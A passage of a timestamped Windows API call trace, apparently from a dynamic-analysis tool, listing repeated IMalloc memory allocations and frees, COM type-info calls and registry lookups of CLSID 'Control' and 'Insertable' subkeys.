[0115.545] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f1600 [0115.545] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f1990 [0115.545] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f19c0 [0115.545] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f1e70 [0115.545] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f17b0 [0115.546] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1420 [0115.546] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f1510 [0115.546] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9dac60 [0115.546] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f14e0 [0115.546] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b7f1960 [0115.546] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1690 [0115.546] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1b70 [0115.547] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1c30 [0115.547] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f1cf0 [0115.547] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1ae0 [0115.547] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1a50 [0115.547] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f1390 [0115.547] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x50) returned 0x2764b78cc70 [0115.547] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x50) returned 0x2764b78c370 [0115.547] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{D50FED35-0A08-4B17-B3E0-A8DD0EDE375D}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x15c6) returned 0x0 [0115.548] RegOpenKeyW (in: hKey=0x15c6, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0115.548] RegOpenKeyW (in: hKey=0x15c6, lpSubKey="Insertable", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0115.549] ITypeInfo:GetRefTypeInfo (in: This=0x2764b5341b8, hreftype=0x180, ppTInfo=0xb5690f5f08 | out: ppTInfo=0xb5690f5f08*=0x2764b534210) returned 0x0 [0115.549] IUnknown:Release (This=0x2764b534210) returned 0x0 [0115.550] ITypeInfo:GetRefTypeInfo (in: This=0x2764b5342c0, hreftype=0x300, ppTInfo=0xb5690f5f08 | out: ppTInfo=0xb5690f5f08*=0x2764b534318) returned 0x0 [0115.551] IUnknown:Release (This=0x2764b534318) returned 0x0 [0115.552] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x15c6) returned 0x0 [0115.552] RegOpenKeyW (in: hKey=0x15c6, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0115.552] RegOpenKeyW (in: hKey=0x15c6, lpSubKey="Insertable", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0115.554] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b78cc70, cb=0xa0) returned 0x2764ae57a80 [0115.554] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b78c370, cb=0xa0) returned 0x2764ae57710 [0115.555] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{8627E73B-B5AA-4643-A3B0-570EDA17E3E7}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x15c6) returned 0x0 [0115.556] RegOpenKeyW (in: hKey=0x15c6, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x15ce) returned 0x0 [0115.556] RegCloseKey (hKey=0x15ce) returned 0x0 [0115.558] ITypeInfo:GetRefTypeInfo (in: This=0x2764b534738, hreftype=0x780, ppTInfo=0xb5690f5f08 | out: ppTInfo=0xb5690f5f08*=0x2764b534790) returned 0x0 [0115.558] IUnknown:Release (This=0x2764b534790) returned 0x0 [0115.559] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{ECF44975-786E-462F-B02A-CBCCB1A2C4A2}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x15c6) returned 0x0 [0115.559] RegOpenKeyW (in: hKey=0x15c6, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0115.559] RegOpenKeyW (in: hKey=0x15c6, lpSubKey="Insertable", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0115.561] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ae57a80, cb=0xf0) returned 0x2764b7facf0 [0115.562] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ae57710, cb=0xf0) returned 0x2764b7f87f0 [0115.566] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{25B29D27-197E-4E3C-B420-964C8D240142}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0115.568] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b7facf0, cb=0x140) returned 0x2764ba414e0 [0115.568] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b7f87f0, cb=0x140) returned 0x2764ba41a20 [0115.570] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x60) returned 0x2764ba217c0 [0115.570] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ba217c0) returned 0x60 [0115.576] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba217c0) [0115.576] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daa20 [0115.576] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9daa20) returned 0x10 [0115.576] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daa20) [0115.576] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09350 [0115.576] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09350) returned 0x8 [0115.577] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09350) [0115.584] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9daba0 [0115.584] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9daba0) returned 0x18 [0115.611] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daba0) [0115.612] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb095a0 [0115.612] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb095a0) returned 0x8 [0115.612] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb095a0) [0115.612] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb093f0 [0115.612] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb093f0) returned 0x8 [0115.612] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb093f0) [0115.612] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dab20 [0115.612] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9dab20) returned 0x10 [0115.613] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dab20) [0115.613] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1930 [0115.613] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f1930) returned 0x20 [0115.613] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1930) [0115.613] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b822db0 [0115.613] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b822db0) returned 0x30 [0115.614] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822db0) [0115.614] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764556a990 [0115.614] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764556a990) returned 0x48 [0115.615] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764556a990) [0115.615] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9dada0 [0115.615] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9dada0) returned 0x18 [0115.615] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dada0) [0115.616] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9da840 [0115.616] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9da840) returned 0x18 [0115.616] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9da840) [0115.616] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09480 [0115.616] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09480) returned 0x8 [0115.616] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09480) [0115.616] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb094e0 [0115.616] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb094e0) returned 0x8 [0115.617] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb094e0) [0115.617] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dada0 [0115.617] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9dada0) returned 0x10 [0115.617] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dada0) [0115.617] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1ab0 [0115.617] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f1ab0) returned 0x20 [0115.617] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1ab0) [0115.617] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b822e30 [0115.617] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b822e30) returned 0x30 [0115.618] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822e30) [0115.618] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764556aad0 [0115.618] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764556aad0) returned 0x48 [0115.619] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764556aad0) [0115.619] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b823730 [0115.620] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b823730) returned 0x30 [0115.620] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b823730) [0115.620] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9da840 [0115.620] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9da840) returned 0x10 [0115.620] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9da840) [0115.620] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9dada0 [0115.620] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9dada0) returned 0x18 [0115.621] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dada0) [0115.621] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1450 [0115.621] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f1450) returned 0x20 [0115.621] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1450) [0115.621] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9daa20 [0115.621] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9daa20) returned 0x18 [0115.622] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daa20) [0115.622] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09500 [0115.622] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09500) returned 0x8 [0115.622] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09500) [0115.622] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09350 [0115.622] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09350) returned 0x8 [0115.622] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09350) [0115.623] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dab80 [0115.623] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9dab80) returned 0x10 [0115.623] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dab80) [0115.623] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1ed0 [0115.623] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f1ed0) returned 0x20 [0115.623] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1ed0) [0115.623] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b822db0 [0115.623] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b822db0) returned 0x30 [0115.624] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822db0) [0115.624] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764556ac60 [0115.624] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764556ac60) returned 0x48 [0115.625] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764556ac60) [0115.625] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daec0 [0115.625] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9daec0) returned 0x10 [0115.625] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daec0) [0115.625] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daa20 [0115.625] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9daa20) returned 0x10 [0115.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daa20) [0115.626] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dada0 [0115.626] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9dada0) returned 0x10 [0115.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dada0) [0115.626] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9da7a0 [0115.626] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9da7a0) returned 0x10 [0115.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9da7a0) [0115.626] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9da840 [0115.626] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9da840) returned 0x10 [0115.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9da840) [0115.627] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dada0 [0115.627] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9dada0) returned 0x10 [0115.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dada0) [0115.627] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daf20 [0115.627] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9daf20) returned 0x10 [0115.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daf20) [0115.627] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daec0 [0115.627] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9daec0) returned 0x10 [0115.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daec0) [0115.628] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9da840 [0115.628] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9da840) returned 0x10 [0115.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9da840) [0115.628] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daec0 [0115.628] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9daec0) returned 0x10 [0115.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daec0) [0115.628] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9da7a0 [0115.628] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9da7a0) returned 0x10 [0115.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9da7a0) [0115.628] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dada0 [0115.629] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9dada0) returned 0x10 [0115.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dada0) [0115.629] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daec0 [0115.629] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9daec0) returned 0x10 [0115.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daec0) [0115.629] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daec0 [0115.629] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9daec0) returned 0x10 [0115.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daec0) [0115.629] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9da900 [0115.629] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9da900) returned 0x10 [0115.630] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9da900) [0115.630] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9da7a0 [0115.630] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9da7a0) returned 0x10 [0115.630] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9da7a0) [0115.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b822db0 [0115.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f13c0 [0115.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1540 [0115.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b8234b0 [0115.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f1750 [0115.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b822e30 [0115.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1b40 [0115.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b822ef0 [0115.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b822ff0 [0115.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b511200 [0115.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daa20 [0115.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dab80 [0115.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dada0 [0115.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daec0 [0115.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daee0 [0115.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dab20 [0115.633] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dab40 [0115.633] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dab60 [0115.633] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daf20 [0115.634] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daf40 [0115.634] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9da900 [0115.634] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9da7a0 [0115.634] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9daba0 [0115.634] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dabc0 [0115.634] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9da7c0 [0115.634] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dabe0 [0115.634] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9da840 [0115.635] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db0e0 [0115.635] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db100 [0115.635] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db0a0 [0115.635] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db380 [0115.635] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db360 [0115.635] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db360) returned 0x18 [0115.635] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db360) [0115.635] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb096c0 [0115.635] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb096c0) returned 0x8 [0115.635] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb096c0) [0115.635] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb095f0 [0115.635] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb095f0) returned 0x8 [0115.636] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb095f0) [0115.636] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db420 [0115.636] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db420) returned 0x10 [0115.636] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db420) [0115.636] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1930 [0115.636] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f1930) returned 0x20 [0115.636] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1930) [0115.636] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8230b0 [0115.636] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8230b0) returned 0x30 [0115.637] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8230b0) [0115.637] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764556aad0 [0115.637] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764556aad0) returned 0x48 [0115.637] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764556aad0) [0115.637] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db440 [0115.637] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db440) returned 0x18 [0115.639] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db440) [0115.639] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db600 [0115.639] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db600) returned 0x18 [0115.640] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db600) [0115.640] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db2c0 [0115.640] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db2c0) returned 0x18 [0115.641] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db2c0) [0115.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09470 [0115.641] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09470) returned 0x8 [0115.641] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09470) [0115.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09380 [0115.641] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09380) returned 0x8 [0115.641] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09380) [0115.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dafc0 [0115.641] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9dafc0) returned 0x10 [0115.642] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dafc0) [0115.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1f00 [0115.642] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f1f00) returned 0x20 [0115.642] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1f00) [0115.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8233f0 [0115.642] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8233f0) returned 0x30 [0115.643] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8233f0) [0115.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764556acb0 [0115.643] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764556acb0) returned 0x48 [0115.644] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764556acb0) [0115.644] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09350 [0115.644] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09350) returned 0x8 [0115.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09350) [0115.645] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db120 [0115.645] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db120) returned 0x10 [0115.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db120) [0115.645] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09470 [0115.645] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09470) returned 0x8 [0115.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09470) [0115.645] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db6c0 [0115.645] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db6c0) returned 0x10 [0115.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db6c0) [0115.646] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09500 [0115.646] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09500) returned 0x8 [0115.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09500) [0115.646] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db220 [0115.646] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db220) returned 0x10 [0115.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db220) [0115.647] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09620 [0115.647] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09620) returned 0x8 [0115.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09620) [0115.647] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db440 [0115.647] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db440) returned 0x10 [0115.647] IMalloc:Free 